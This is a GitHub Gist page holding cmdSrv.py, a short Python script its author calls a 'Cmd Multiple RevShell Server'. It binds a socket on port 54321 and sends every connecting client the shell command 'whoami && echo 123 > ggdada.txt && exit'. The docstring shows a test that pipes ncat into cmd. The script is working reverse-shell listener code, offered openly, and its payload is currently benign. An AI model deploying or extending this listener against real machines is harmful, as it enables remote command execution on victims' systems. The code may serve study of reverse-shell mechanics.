Created
March 4, 2021 15:47
-
-
Save aaaddress1/8bbafe5062fc4ae185a1cb75764fdab8 to your computer and use it in GitHub Desktop.
cmdSrv.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Cmd Multiple RevShell Server by [email protected] | |
[test] $ ncat localhost 54321 | cmd | |
''' | |
import time, socket | |
def handleClient(connection): | |
try: | |
time.sleep(1) | |
connection.send(b'whoami && echo 123 > ggdada.txt && exit\n') | |
except Exception as e: | |
print(e) | |
def setupSocketSvr(): | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.bind(('0.0.0.0', 54321)) | |
sock.listen() | |
print('[*] server is alive now.') | |
while True: | |
connection, address = sock.accept() | |
print("\n[*] accept connection from: %s:%d" % (address[0], address[1])) | |
handleClient(connection) | |
if __name__ == '__main__': | |
setupSocketSvr() |
Author
aaaddress1
commented
Mar 4, 2021
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment